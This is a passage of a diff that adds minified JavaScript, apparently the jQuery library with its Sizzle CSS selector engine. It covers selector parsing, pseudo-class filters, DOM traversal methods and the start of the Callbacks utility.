+ }, + J = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped", + K = "[\\x20\\t\\r\\n\\f]", + L = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+", + M = L.replace("w", "w#"), + N = "\\[" + K + "*(" + L + ")" + K + "*(?:([*^$|!~]?=)" + K + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + M + ")|)|)" + K + "*\\]", + O = ":(" + L + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + N.replace(3, 8) + ")*)|.*)\\)|)", + P = new RegExp("^" + K + "+|((?:^|[^\\\\])(?:\\\\.)*)" + K + "+$", "g"), + Q = new RegExp("^" + K + "*," + K + "*"), + R = new RegExp("^" + K + "*([>+~]|" + K + ")" + K + "*"), + S = new RegExp("=" + K + "*([^\\]'\"]*?)" + K + "*\\]", "g"), + T = new RegExp(O), + U = new RegExp("^" + M + "$"), + V = { + ID: new RegExp("^#(" + L + ")"), + CLASS: new RegExp("^\\.(" + L + ")"), + TAG: new RegExp("^(" + L.replace("w", "w*") + ")"), + ATTR: new RegExp("^" + N), + PSEUDO: new RegExp("^" + O), + CHILD: new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + K + "*(even|odd|(([+-]|)(\\d*)n|)" + K + "*(?:([+-]|)" + K + "*(\\d+)|))" + K + "*\\)|)", "i"), + bool: new RegExp("^(?:" + J + ")$", "i"), + needsContext: new RegExp("^" + K + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + K + "*((?:-\\d)?\\d*)" + K + "*\\)|)(?=[^-]|$)", "i") + }, + W = /^(?:input|select|textarea|button)$/i, + X = /^h\d$/i, + Y = /^[^{]+\{\s*\[native \w/, + Z = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, + $ = /[+~]/, + _ = /'|\\/g, + ab = new RegExp("\\\\([\\da-f]{1,6}" + K + "?|(" + K + ")|.)", "ig"), + bb = function(a, b, c) { + var d = "0x" + b - 65536; + return d !== d || c ? b : 0 > d ? String.fromCharCode(d + 65536) : String.fromCharCode(d >> 10 | 55296, 1023 & d | 56320) + }; + try { + G.apply(D = H.call(t.childNodes), t.childNodes), D[t.childNodes.length].nodeType + } catch (cb) { + G = { + apply: D.length ? function(a, b) { + F.apply(a, H.call(b)) + } : function(a, b) { + var c = a.length, + d = 0; + while (a[c++] = b[d++]); + a.length = c - 1 + } + } + } + + function db(a, b, d, e) { + var f, g, h, i, j, m, p, q, u, v; + if ((b ? b.ownerDocument || b : t) !== l && k(b), b = b || l, d = d || [], !a || "string" != typeof a) return d; + if (1 !== (i = b.nodeType) && 9 !== i) return []; + if (n && !e) { + if (f = Z.exec(a)) + if (h = f[1]) { + if (9 === i) { + if (g = b.getElementById(h), !g || !g.parentNode) return d; + if (g.id === h) return d.push(g), d + } else if (b.ownerDocument && (g = b.ownerDocument.getElementById(h)) && r(b, g) && g.id === h) return d.push(g), d + } else { + if (f[2]) return G.apply(d, b.getElementsByTagName(a)), d; + if ((h = f[3]) && c.getElementsByClassName && b.getElementsByClassName) return G.apply(d, b.getElementsByClassName(h)), d + } + if (c.qsa && (!o || !o.test(a))) { + if (q = p = s, u = b, v = 9 === i && a, 1 === i && "object" !== b.nodeName.toLowerCase()) { + m = ob(a), (p = b.getAttribute("id")) ? q = p.replace(_, "\\$&") : b.setAttribute("id", q), q = "[id='" + q + "'] ", j = m.length; + while (j--) m[j] = q + pb(m[j]); + u = $.test(a) && mb(b.parentNode) || b, v = m.join(",") + } + if (v) try { + return G.apply(d, u.querySelectorAll(v)), d + } catch (w) {} finally { + p || b.removeAttribute("id") + } + } + } + return xb(a.replace(P, "$1"), b, d, e) + } + + function eb() { + var a = []; + + function b(c, e) { + return a.push(c + " ") > d.cacheLength && delete b[a.shift()], b[c + " "] = e + } + return b + } + + function fb(a) { + return a[s] = !0, a + } + + function gb(a) { + var b = l.createElement("div"); + try { + return !!a(b) + } catch (c) { + return !1 + } finally { + b.parentNode && b.parentNode.removeChild(b), b = null + } + } + + function hb(a, b) { + var c = a.split("|"), + e = a.length; + while (e--) d.attrHandle[c[e]] = b + } + + function ib(a, b) { + var c = b && a, + d = c && 1 === a.nodeType && 1 === b.nodeType && (~b.sourceIndex || B) - (~a.sourceIndex || B); + if (d) return d; + if (c) + while (c = c.nextSibling) + if (c === b) return -1; + return a ? 1 : -1 + } + + function jb(a) { + return function(b) { + var c = b.nodeName.toLowerCase(); + return "input" === c && b.type === a + } + } + + function kb(a) { + return function(b) { + var c = b.nodeName.toLowerCase(); + return ("input" === c || "button" === c) && b.type === a + } + } + + function lb(a) { + return fb(function(b) { + return b = +b, fb(function(c, d) { + var e, f = a([], c.length, b), + g = f.length; + while (g--) c[e = f[g]] && (c[e] = !(d[e] = c[e])) + }) + }) + } + + function mb(a) { + return a && typeof a.getElementsByTagName !== A && a + } + c = db.support = {}, f = db.isXML = function(a) { + var b = a && (a.ownerDocument || a).documentElement; + return b ? "HTML" !== b.nodeName : !1 + }, k = db.setDocument = function(a) { + var b, e = a ? a.ownerDocument || a : t, + g = e.defaultView; + return e !== l && 9 === e.nodeType && e.documentElement ? (l = e, m = e.documentElement, n = !f(e), g && g !== g.top && (g.addEventListener ? g.addEventListener("unload", function() { + k() + }, !1) : g.attachEvent && g.attachEvent("onunload", function() { + k() + })), c.attributes = gb(function(a) { + return a.className = "i", !a.getAttribute("className") + }), c.getElementsByTagName = gb(function(a) { + return a.appendChild(e.createComment("")), !a.getElementsByTagName("*").length + }), c.getElementsByClassName = Y.test(e.getElementsByClassName) && gb(function(a) { + return a.innerHTML = "
", a.firstChild.className = "i", 2 === a.getElementsByClassName("i").length + }), c.getById = gb(function(a) { + return m.appendChild(a).id = s, !e.getElementsByName || !e.getElementsByName(s).length + }), c.getById ? (d.find.ID = function(a, b) { + if (typeof b.getElementById !== A && n) { + var c = b.getElementById(a); + return c && c.parentNode ? [c] : [] + } + }, d.filter.ID = function(a) { + var b = a.replace(ab, bb); + return function(a) { + return a.getAttribute("id") === b + } + }) : (delete d.find.ID, d.filter.ID = function(a) { + var b = a.replace(ab, bb); + return function(a) { + var c = typeof a.getAttributeNode !== A && a.getAttributeNode("id"); + return c && c.value === b + } + }), d.find.TAG = c.getElementsByTagName ? function(a, b) { + return typeof b.getElementsByTagName !== A ? b.getElementsByTagName(a) : void 0 + } : function(a, b) { + var c, d = [], + e = 0, + f = b.getElementsByTagName(a); + if ("*" === a) { + while (c = f[e++]) 1 === c.nodeType && d.push(c); + return d + } + return f + }, d.find.CLASS = c.getElementsByClassName && function(a, b) { + return typeof b.getElementsByClassName !== A && n ? b.getElementsByClassName(a) : void 0 + }, p = [], o = [], (c.qsa = Y.test(e.querySelectorAll)) && (gb(function(a) { + a.innerHTML = "", a.querySelectorAll("[t^='']").length && o.push("[*^$]=" + K + "*(?:''|\"\")"), a.querySelectorAll("[selected]").length || o.push("\\[" + K + "*(?:value|" + J + ")"), a.querySelectorAll(":checked").length || o.push(":checked") + }), gb(function(a) { + var b = e.createElement("input"); + b.setAttribute("type", "hidden"), a.appendChild(b).setAttribute("name", "D"), a.querySelectorAll("[name=d]").length && o.push("name" + K + "*[*^$|!~]?="), a.querySelectorAll(":enabled").length || o.push(":enabled", ":disabled"), a.querySelectorAll("*,:x"), o.push(",.*:") + })), (c.matchesSelector = Y.test(q = m.webkitMatchesSelector || m.mozMatchesSelector || m.oMatchesSelector || m.msMatchesSelector)) && gb(function(a) { + c.disconnectedMatch = q.call(a, "div"), q.call(a, "[s!='']:x"), p.push("!=", O) + }), o = o.length && new RegExp(o.join("|")), p = p.length && new RegExp(p.join("|")), b = Y.test(m.compareDocumentPosition), r = b || Y.test(m.contains) ? function(a, b) { + var c = 9 === a.nodeType ? a.documentElement : a, + d = b && b.parentNode; + return a === d || !(!d || 1 !== d.nodeType || !(c.contains ? c.contains(d) : a.compareDocumentPosition && 16 & a.compareDocumentPosition(d))) + } : function(a, b) { + if (b) + while (b = b.parentNode) + if (b === a) return !0; + return !1 + }, z = b ? function(a, b) { + if (a === b) return j = !0, 0; + var d = !a.compareDocumentPosition - !b.compareDocumentPosition; + return d ? d : (d = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1, 1 & d || !c.sortDetached && b.compareDocumentPosition(a) === d ? a === e || a.ownerDocument === t && r(t, a) ? -1 : b === e || b.ownerDocument === t && r(t, b) ? 1 : i ? I.call(i, a) - I.call(i, b) : 0 : 4 & d ? -1 : 1) + } : function(a, b) { + if (a === b) return j = !0, 0; + var c, d = 0, + f = a.parentNode, + g = b.parentNode, + h = [a], + k = [b]; + if (!f || !g) return a === e ? -1 : b === e ? 1 : f ? -1 : g ? 1 : i ? I.call(i, a) - I.call(i, b) : 0; + if (f === g) return ib(a, b); + c = a; + while (c = c.parentNode) h.unshift(c); + c = b; + while (c = c.parentNode) k.unshift(c); + while (h[d] === k[d]) d++; + return d ? ib(h[d], k[d]) : h[d] === t ? -1 : k[d] === t ? 1 : 0 + }, e) : l + }, db.matches = function(a, b) { + return db(a, null, null, b) + }, db.matchesSelector = function(a, b) { + if ((a.ownerDocument || a) !== l && k(a), b = b.replace(S, "='$1']"), !(!c.matchesSelector || !n || p && p.test(b) || o && o.test(b))) try { + var d = q.call(a, b); + if (d || c.disconnectedMatch || a.document && 11 !== a.document.nodeType) return d + } catch (e) {} + return db(b, l, null, [a]).length > 0 + }, db.contains = function(a, b) { + return (a.ownerDocument || a) !== l && k(a), r(a, b) + }, db.attr = function(a, b) { + (a.ownerDocument || a) !== l && k(a); + var e = d.attrHandle[b.toLowerCase()], + f = e && C.call(d.attrHandle, b.toLowerCase()) ? e(a, b, !n) : void 0; + return void 0 !== f ? f : c.attributes || !n ? a.getAttribute(b) : (f = a.getAttributeNode(b)) && f.specified ? f.value : null + }, db.error = function(a) { + throw new Error("Syntax error, unrecognized expression: " + a) + }, db.uniqueSort = function(a) { + var b, d = [], + e = 0, + f = 0; + if (j = !c.detectDuplicates, i = !c.sortStable && a.slice(0), a.sort(z), j) { + while (b = a[f++]) b === a[f] && (e = d.push(f)); + while (e--) a.splice(d[e], 1) + } + return i = null, a + }, e = db.getText = function(a) { + var b, c = "", + d = 0, + f = a.nodeType; + if (f) { + if (1 === f || 9 === f || 11 === f) { + if ("string" == typeof a.textContent) return a.textContent; + for (a = a.firstChild; a; a = a.nextSibling) c += e(a) + } else if (3 === f || 4 === f) return a.nodeValue + } else + while (b = a[d++]) c += e(b); + return c + }, d = db.selectors = { + cacheLength: 50, + createPseudo: fb, + match: V, + attrHandle: {}, + find: {}, + relative: { + ">": { + dir: "parentNode", + first: !0 + }, + " ": { + dir: "parentNode" + }, + "+": { + dir: "previousSibling", + first: !0 + }, + "~": { + dir: "previousSibling" + } + }, + preFilter: { + ATTR: function(a) { + return a[1] = a[1].replace(ab, bb), a[3] = (a[4] || a[5] || "").replace(ab, bb), "~=" === a[2] && (a[3] = " " + a[3] + " "), a.slice(0, 4) + }, + CHILD: function(a) { + return a[1] = a[1].toLowerCase(), "nth" === a[1].slice(0, 3) ? (a[3] || db.error(a[0]), a[4] = +(a[4] ? a[5] + (a[6] || 1) : 2 * ("even" === a[3] || "odd" === a[3])), a[5] = +(a[7] + a[8] || "odd" === a[3])) : a[3] && db.error(a[0]), a + }, + PSEUDO: function(a) { + var b, c = !a[5] && a[2]; + return V.CHILD.test(a[0]) ? null : (a[3] && void 0 !== a[4] ? a[2] = a[4] : c && T.test(c) && (b = ob(c, !0)) && (b = c.indexOf(")", c.length - b) - c.length) && (a[0] = a[0].slice(0, b), a[2] = c.slice(0, b)), a.slice(0, 3)) + } + }, + filter: { + TAG: function(a) { + var b = a.replace(ab, bb).toLowerCase(); + return "*" === a ? function() { + return !0 + } : function(a) { + return a.nodeName && a.nodeName.toLowerCase() === b + } + }, + CLASS: function(a) { + var b = w[a + " "]; + return b || (b = new RegExp("(^|" + K + ")" + a + "(" + K + "|$)")) && w(a, function(a) { + return b.test("string" == typeof a.className && a.className || typeof a.getAttribute !== A && a.getAttribute("class") || "") + }) + }, + ATTR: function(a, b, c) { + return function(d) { + var e = db.attr(d, a); + return null == e ? "!=" === b : b ? (e += "", "=" === b ? e === c : "!=" === b ? e !== c : "^=" === b ? c && 0 === e.indexOf(c) : "*=" === b ? c && e.indexOf(c) > -1 : "$=" === b ? c && e.slice(-c.length) === c : "~=" === b ? (" " + e + " ").indexOf(c) > -1 : "|=" === b ? e === c || e.slice(0, c.length + 1) === c + "-" : !1) : !0 + } + }, + CHILD: function(a, b, c, d, e) { + var f = "nth" !== a.slice(0, 3), + g = "last" !== a.slice(-4), + h = "of-type" === b; + return 1 === d && 0 === e ? function(a) { + return !!a.parentNode + } : function(b, c, i) { + var j, k, l, m, n, o, p = f !== g ? "nextSibling" : "previousSibling", + q = b.parentNode, + r = h && b.nodeName.toLowerCase(), + t = !i && !h; + if (q) { + if (f) { + while (p) { + l = b; + while (l = l[p]) + if (h ? l.nodeName.toLowerCase() === r : 1 === l.nodeType) return !1; + o = p = "only" === a && !o && "nextSibling" + } + return !0 + } + if (o = [g ? q.firstChild : q.lastChild], g && t) { + k = q[s] || (q[s] = {}), j = k[a] || [], n = j[0] === u && j[1], m = j[0] === u && j[2], l = n && q.childNodes[n]; + while (l = ++n && l && l[p] || (m = n = 0) || o.pop()) + if (1 === l.nodeType && ++m && l === b) { + k[a] = [u, n, m]; + break + } + } else if (t && (j = (b[s] || (b[s] = {}))[a]) && j[0] === u) m = j[1]; + else + while (l = ++n && l && l[p] || (m = n = 0) || o.pop()) + if ((h ? l.nodeName.toLowerCase() === r : 1 === l.nodeType) && ++m && (t && ((l[s] || (l[s] = {}))[a] = [u, m]), l === b)) break; return m -= e, m === d || m % d === 0 && m / d >= 0 + } + } + }, + PSEUDO: function(a, b) { + var c, e = d.pseudos[a] || d.setFilters[a.toLowerCase()] || db.error("unsupported pseudo: " + a); + return e[s] ? e(b) : e.length > 1 ? (c = [a, a, "", b], d.setFilters.hasOwnProperty(a.toLowerCase()) ? fb(function(a, c) { + var d, f = e(a, b), + g = f.length; + while (g--) d = I.call(a, f[g]), a[d] = !(c[d] = f[g]) + }) : function(a) { + return e(a, 0, c) + }) : e + } + }, + pseudos: { + not: fb(function(a) { + var b = [], + c = [], + d = g(a.replace(P, "$1")); + return d[s] ? fb(function(a, b, c, e) { + var f, g = d(a, null, e, []), + h = a.length; + while (h--)(f = g[h]) && (a[h] = !(b[h] = f)) + }) : function(a, e, f) { + return b[0] = a, d(b, null, f, c), !c.pop() + } + }), + has: fb(function(a) { + return function(b) { + return db(a, b).length > 0 + } + }), + contains: fb(function(a) { + return function(b) { + return (b.textContent || b.innerText || e(b)).indexOf(a) > -1 + } + }), + lang: fb(function(a) { + return U.test(a || "") || db.error("unsupported lang: " + a), a = a.replace(ab, bb).toLowerCase(), + function(b) { + var c; + do + if (c = n ? b.lang : b.getAttribute("xml:lang") || b.getAttribute("lang")) return c = c.toLowerCase(), c === a || 0 === c.indexOf(a + "-"); + while ((b = b.parentNode) && 1 === b.nodeType); + return !1 + } + }), + target: function(b) { + var c = a.location && a.location.hash; + return c && c.slice(1) === b.id + }, + root: function(a) { + return a === m + }, + focus: function(a) { + return a === l.activeElement && (!l.hasFocus || l.hasFocus()) && !!(a.type || a.href || ~a.tabIndex) + }, + enabled: function(a) { + return a.disabled === !1 + }, + disabled: function(a) { + return a.disabled === !0 + }, + checked: function(a) { + var b = a.nodeName.toLowerCase(); + return "input" === b && !!a.checked || "option" === b && !!a.selected + }, + selected: function(a) { + return a.parentNode && a.parentNode.selectedIndex, a.selected === !0 + }, + empty: function(a) { + for (a = a.firstChild; a; a = a.nextSibling) + if (a.nodeType < 6) return !1; + return !0 + }, + parent: function(a) { + return !d.pseudos.empty(a) + }, + header: function(a) { + return X.test(a.nodeName) + }, + input: function(a) { + return W.test(a.nodeName) + }, + button: function(a) { + var b = a.nodeName.toLowerCase(); + return "input" === b && "button" === a.type || "button" === b + }, + text: function(a) { + var b; + return "input" === a.nodeName.toLowerCase() && "text" === a.type && (null == (b = a.getAttribute("type")) || "text" === b.toLowerCase()) + }, + first: lb(function() { + return [0] + }), + last: lb(function(a, b) { + return [b - 1] + }), + eq: lb(function(a, b, c) { + return [0 > c ? c + b : c] + }), + even: lb(function(a, b) { + for (var c = 0; b > c; c += 2) a.push(c); + return a + }), + odd: lb(function(a, b) { + for (var c = 1; b > c; c += 2) a.push(c); + return a + }), + lt: lb(function(a, b, c) { + for (var d = 0 > c ? c + b : c; --d >= 0;) a.push(d); + return a + }), + gt: lb(function(a, b, c) { + for (var d = 0 > c ? c + b : c; ++d < b;) a.push(d); + return a + }) + } + }, d.pseudos.nth = d.pseudos.eq; + for (b in { + radio: !0, + checkbox: !0, + file: !0, + password: !0, + image: !0 + }) d.pseudos[b] = jb(b); + for (b in { + submit: !0, + reset: !0 + }) d.pseudos[b] = kb(b); + + function nb() {} + nb.prototype = d.filters = d.pseudos, d.setFilters = new nb; + + function ob(a, b) { + var c, e, f, g, h, i, j, k = x[a + " "]; + if (k) return b ? 0 : k.slice(0); + h = a, i = [], j = d.preFilter; + while (h) { + (!c || (e = Q.exec(h))) && (e && (h = h.slice(e[0].length) || h), i.push(f = [])), c = !1, (e = R.exec(h)) && (c = e.shift(), f.push({ + value: c, + type: e[0].replace(P, " ") + }), h = h.slice(c.length)); + for (g in d.filter) !(e = V[g].exec(h)) || j[g] && !(e = j[g](e)) || (c = e.shift(), f.push({ + value: c, + type: g, + matches: e + }), h = h.slice(c.length)); + if (!c) break + } + return b ? h.length : h ? db.error(a) : x(a, i).slice(0) + } + + function pb(a) { + for (var b = 0, c = a.length, d = ""; c > b; b++) d += a[b].value; + return d + } + + function qb(a, b, c) { + var d = b.dir, + e = c && "parentNode" === d, + f = v++; + return b.first ? function(b, c, f) { + while (b = b[d]) + if (1 === b.nodeType || e) return a(b, c, f) + } : function(b, c, g) { + var h, i, j = [u, f]; + if (g) { + while (b = b[d]) + if ((1 === b.nodeType || e) && a(b, c, g)) return !0 + } else + while (b = b[d]) + if (1 === b.nodeType || e) { + if (i = b[s] || (b[s] = {}), (h = i[d]) && h[0] === u && h[1] === f) return j[2] = h[2]; + if (i[d] = j, j[2] = a(b, c, g)) return !0 + } + } + } + + function rb(a) { + return a.length > 1 ? function(b, c, d) { + var e = a.length; + while (e--) + if (!a[e](b, c, d)) return !1; + return !0 + } : a[0] + } + + function sb(a, b, c, d, e) { + for (var f, g = [], h = 0, i = a.length, j = null != b; i > h; h++)(f = a[h]) && (!c || c(f, d, e)) && (g.push(f), j && b.push(h)); + return g + } + + function tb(a, b, c, d, e, f) { + return d && !d[s] && (d = tb(d)), e && !e[s] && (e = tb(e, f)), fb(function(f, g, h, i) { + var j, k, l, m = [], + n = [], + o = g.length, + p = f || wb(b || "*", h.nodeType ? [h] : h, []), + q = !a || !f && b ? p : sb(p, m, a, h, i), + r = c ? e || (f ? a : o || d) ? [] : g : q; + if (c && c(q, r, h, i), d) { + j = sb(r, n), d(j, [], h, i), k = j.length; + while (k--)(l = j[k]) && (r[n[k]] = !(q[n[k]] = l)) + } + if (f) { + if (e || a) { + if (e) { + j = [], k = r.length; + while (k--)(l = r[k]) && j.push(q[k] = l); + e(null, r = [], j, i) + } + k = r.length; + while (k--)(l = r[k]) && (j = e ? I.call(f, l) : m[k]) > -1 && (f[j] = !(g[j] = l)) + } + } else r = sb(r === g ? r.splice(o, r.length) : r), e ? e(null, g, r, i) : G.apply(g, r) + }) + } + + function ub(a) { + for (var b, c, e, f = a.length, g = d.relative[a[0].type], i = g || d.relative[" "], j = g ? 1 : 0, k = qb(function(a) { + return a === b + }, i, !0), l = qb(function(a) { + return I.call(b, a) > -1 + }, i, !0), m = [function(a, c, d) { + return !g && (d || c !== h) || ((b = c).nodeType ? k(a, c, d) : l(a, c, d)) + }]; f > j; j++) + if (c = d.relative[a[j].type]) m = [qb(rb(m), c)]; + else { + if (c = d.filter[a[j].type].apply(null, a[j].matches), c[s]) { + for (e = ++j; f > e; e++) + if (d.relative[a[e].type]) break; + return tb(j > 1 && rb(m), j > 1 && pb(a.slice(0, j - 1).concat({ + value: " " === a[j - 2].type ? "*" : "" + })).replace(P, "$1"), c, e > j && ub(a.slice(j, e)), f > e && ub(a = a.slice(e)), f > e && pb(a)) + } + m.push(c) + } + return rb(m) + } + + function vb(a, b) { + var c = b.length > 0, + e = a.length > 0, + f = function(f, g, i, j, k) { + var m, n, o, p = 0, + q = "0", + r = f && [], + s = [], + t = h, + v = f || e && d.find.TAG("*", k), + w = u += null == t ? 1 : Math.random() || .1, + x = v.length; + for (k && (h = g !== l && g); q !== x && null != (m = v[q]); q++) { + if (e && m) { + n = 0; + while (o = a[n++]) + if (o(m, g, i)) { + j.push(m); + break + } + k && (u = w) + } + c && ((m = !o && m) && p--, f && r.push(m)) + } + if (p += q, c && q !== p) { + n = 0; + while (o = b[n++]) o(r, s, g, i); + if (f) { + if (p > 0) + while (q--) r[q] || s[q] || (s[q] = E.call(j)); + s = sb(s) + } + G.apply(j, s), k && !f && s.length > 0 && p + b.length > 1 && db.uniqueSort(j) + } + return k && (u = w, h = t), r + }; + return c ? fb(f) : f + } + g = db.compile = function(a, b) { + var c, d = [], + e = [], + f = y[a + " "]; + if (!f) { + b || (b = ob(a)), c = b.length; + while (c--) f = ub(b[c]), f[s] ? d.push(f) : e.push(f); + f = y(a, vb(e, d)) + } + return f + }; + + function wb(a, b, c) { + for (var d = 0, e = b.length; e > d; d++) db(a, b[d], c); + return c + } + + function xb(a, b, e, f) { + var h, i, j, k, l, m = ob(a); + if (!f && 1 === m.length) { + if (i = m[0] = m[0].slice(0), i.length > 2 && "ID" === (j = i[0]).type && c.getById && 9 === b.nodeType && n && d.relative[i[1].type]) { + if (b = (d.find.ID(j.matches[0].replace(ab, bb), b) || [])[0], !b) return e; + a = a.slice(i.shift().value.length) + } + h = V.needsContext.test(a) ? 0 : i.length; + while (h--) { + if (j = i[h], d.relative[k = j.type]) break; + if ((l = d.find[k]) && (f = l(j.matches[0].replace(ab, bb), $.test(i[0].type) && mb(b.parentNode) || b))) { + if (i.splice(h, 1), a = f.length && pb(i), !a) return G.apply(e, f), e; + break + } + } + } + return g(a, m)(f, b, !n, e, $.test(a) && mb(b.parentNode) || b), e + } + return c.sortStable = s.split("").sort(z).join("") === s, c.detectDuplicates = !!j, k(), c.sortDetached = gb(function(a) { + return 1 & a.compareDocumentPosition(l.createElement("div")) + }), gb(function(a) { + return a.innerHTML = "", "#" === a.firstChild.getAttribute("href") + }) || hb("type|href|height|width", function(a, b, c) { + return c ? void 0 : a.getAttribute(b, "type" === b.toLowerCase() ? 1 : 2) + }), c.attributes && gb(function(a) { + return a.innerHTML = "", a.firstChild.setAttribute("value", ""), "" === a.firstChild.getAttribute("value") + }) || hb("value", function(a, b, c) { + return c || "input" !== a.nodeName.toLowerCase() ? void 0 : a.defaultValue + }), gb(function(a) { + return null == a.getAttribute("disabled") + }) || hb(J, function(a, b, c) { + var d; + return c ? void 0 : a[b] === !0 ? b.toLowerCase() : (d = a.getAttributeNode(b)) && d.specified ? d.value : null + }), db + }(a); + o.find = t, o.expr = t.selectors, o.expr[":"] = o.expr.pseudos, o.unique = t.uniqueSort, o.text = t.getText, o.isXMLDoc = t.isXML, o.contains = t.contains; + var u = o.expr.match.needsContext, + v = /^<(\w+)\s*\/?>(?:<\/\1>|)$/, + w = /^.[^:#\[\.,]*$/; + + function x(a, b, c) { + if (o.isFunction(b)) return o.grep(a, function(a, d) { + return !!b.call(a, d, a) !== c + }); + if (b.nodeType) return o.grep(a, function(a) { + return a === b !== c + }); + if ("string" == typeof b) { + if (w.test(b)) return o.filter(b, a, c); + b = o.filter(b, a) + } + return o.grep(a, function(a) { + return g.call(b, a) >= 0 !== c + }) + } + o.filter = function(a, b, c) { + var d = b[0]; + return c && (a = ":not(" + a + ")"), 1 === b.length && 1 === d.nodeType ? o.find.matchesSelector(d, a) ? [d] : [] : o.find.matches(a, o.grep(b, function(a) { + return 1 === a.nodeType + })) + }, o.fn.extend({ + find: function(a) { + var b, c = this.length, + d = [], + e = this; + if ("string" != typeof a) return this.pushStack(o(a).filter(function() { + for (b = 0; c > b; b++) + if (o.contains(e[b], this)) return !0 + })); + for (b = 0; c > b; b++) o.find(a, e[b], d); + return d = this.pushStack(c > 1 ? o.unique(d) : d), d.selector = this.selector ? this.selector + " " + a : a, d + }, + filter: function(a) { + return this.pushStack(x(this, a || [], !1)) + }, + not: function(a) { + return this.pushStack(x(this, a || [], !0)) + }, + is: function(a) { + return !!x(this, "string" == typeof a && u.test(a) ? o(a) : a || [], !1).length + } + }); + var y, z = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/, + A = o.fn.init = function(a, b) { + var c, d; + if (!a) return this; + if ("string" == typeof a) { + if (c = "<" === a[0] && ">" === a[a.length - 1] && a.length >= 3 ? [null, a, null] : z.exec(a), !c || !c[1] && b) return !b || b.jquery ? (b || y).find(a) : this.constructor(b).find(a); + if (c[1]) { + if (b = b instanceof o ? b[0] : b, o.merge(this, o.parseHTML(c[1], b && b.nodeType ? b.ownerDocument || b : m, !0)), v.test(c[1]) && o.isPlainObject(b)) + for (c in b) o.isFunction(this[c]) ? this[c](b[c]) : this.attr(c, b[c]); + return this + } + return d = m.getElementById(c[2]), d && d.parentNode && (this.length = 1, this[0] = d), this.context = m, this.selector = a, this + } + return a.nodeType ? (this.context = this[0] = a, this.length = 1, this) : o.isFunction(a) ? "undefined" != typeof y.ready ? y.ready(a) : a(o) : (void 0 !== a.selector && (this.selector = a.selector, this.context = a.context), o.makeArray(a, this)) + }; + A.prototype = o.fn, y = o(m); + var B = /^(?:parents|prev(?:Until|All))/, + C = { + children: !0, + contents: !0, + next: !0, + prev: !0 + }; + o.extend({ + dir: function(a, b, c) { + var d = [], + e = void 0 !== c; + while ((a = a[b]) && 9 !== a.nodeType) + if (1 === a.nodeType) { + if (e && o(a).is(c)) break; + d.push(a) + } + return d + }, + sibling: function(a, b) { + for (var c = []; a; a = a.nextSibling) 1 === a.nodeType && a !== b && c.push(a); + return c + } + }), o.fn.extend({ + has: function(a) { + var b = o(a, this), + c = b.length; + return this.filter(function() { + for (var a = 0; c > a; a++) + if (o.contains(this, b[a])) return !0 + }) + }, + closest: function(a, b) { + for (var c, d = 0, e = this.length, f = [], g = u.test(a) || "string" != typeof a ? o(a, b || this.context) : 0; e > d; d++) + for (c = this[d]; c && c !== b; c = c.parentNode) + if (c.nodeType < 11 && (g ? g.index(c) > -1 : 1 === c.nodeType && o.find.matchesSelector(c, a))) { + f.push(c); + break + } + return this.pushStack(f.length > 1 ? o.unique(f) : f) + }, + index: function(a) { + return a ? "string" == typeof a ? g.call(o(a), this[0]) : g.call(this, a.jquery ? a[0] : a) : this[0] && this[0].parentNode ? this.first().prevAll().length : -1 + }, + add: function(a, b) { + return this.pushStack(o.unique(o.merge(this.get(), o(a, b)))) + }, + addBack: function(a) { + return this.add(null == a ? this.prevObject : this.prevObject.filter(a)) + } + }); + + function D(a, b) { + while ((a = a[b]) && 1 !== a.nodeType); + return a + } + o.each({ + parent: function(a) { + var b = a.parentNode; + return b && 11 !== b.nodeType ? b : null + }, + parents: function(a) { + return o.dir(a, "parentNode") + }, + parentsUntil: function(a, b, c) { + return o.dir(a, "parentNode", c) + }, + next: function(a) { + return D(a, "nextSibling") + }, + prev: function(a) { + return D(a, "previousSibling") + }, + nextAll: function(a) { + return o.dir(a, "nextSibling") + }, + prevAll: function(a) { + return o.dir(a, "previousSibling") + }, + nextUntil: function(a, b, c) { + return o.dir(a, "nextSibling", c) + }, + prevUntil: function(a, b, c) { + return o.dir(a, "previousSibling", c) + }, + siblings: function(a) { + return o.sibling((a.parentNode || {}).firstChild, a) + }, + children: function(a) { + return o.sibling(a.firstChild) + }, + contents: function(a) { + return a.contentDocument || o.merge([], a.childNodes) + } + }, function(a, b) { + o.fn[a] = function(c, d) { + var e = o.map(this, b, c); + return "Until" !== a.slice(-5) && (d = c), d && "string" == typeof d && (e = o.filter(d, e)), this.length > 1 && (C[a] || o.unique(e), B.test(a) && e.reverse()), this.pushStack(e) + } + }); + var E = /\S+/g, + F = {}; + + function G(a) { + var b = F[a] = {}; + return o.each(a.match(E) || [], function(a, c) { + b[c] = !0 + }), b + } + o.Callbacks = function(a) { + a = "string" == typeof a ? F[a] || G(a) : o.extend({}, a); + var b, c, d, e, f, g, h = [], + i = !a.once && [], + j = function(l) { + for (b = a.memory && l, c = !0, g = e || 0, e = 0, f = h.length, d = !0; h && f > g; g++) + if (h[g].apply(l[0], l[1]) === !1 && a.stopOnFalse) { + b = !1; + break + } + d = !1, h && (i ? i.length && j(i.shift()) : b ? h = [] : k.disable()) + }, + k = { + add: function() { + if (h) { + var c = h.length; + ! function g(b) { + o.each(b, function(b, c) { + var d = o.type(c); + "function" === d ? a.unique && k.has(c) || h.push(c) : c && c.length && "string" !== d && g(c) + }) + }(arguments), d ? f = h.length : b && (e = c, j(b)) + } + return this + }, + remove: function() { + return h && o.each(arguments, function(a, b) { + var c; + while ((c = o.inArray(b, h, c)) > -1) h.splice(c, 1), d && (f >= c && f--, g >= c && g--) + }), this + }, + has: function(a) { + return a ? o.inArray(a, h) > -1 : !(!h || !h.length) + }, + empty: function() { + return h = [], f = 0, this + }, + disable: function() { + return h = i = b = void 0, this + }, + disabled: function() { + return !h + }, + lock: function() { + return i = void 0, b || k.disable(), this + }, + locked: function() { + return !i + }, + fireWith: function(a, b) { + return !h || c && !i || (b = b || [], b = [a, b.slice ? 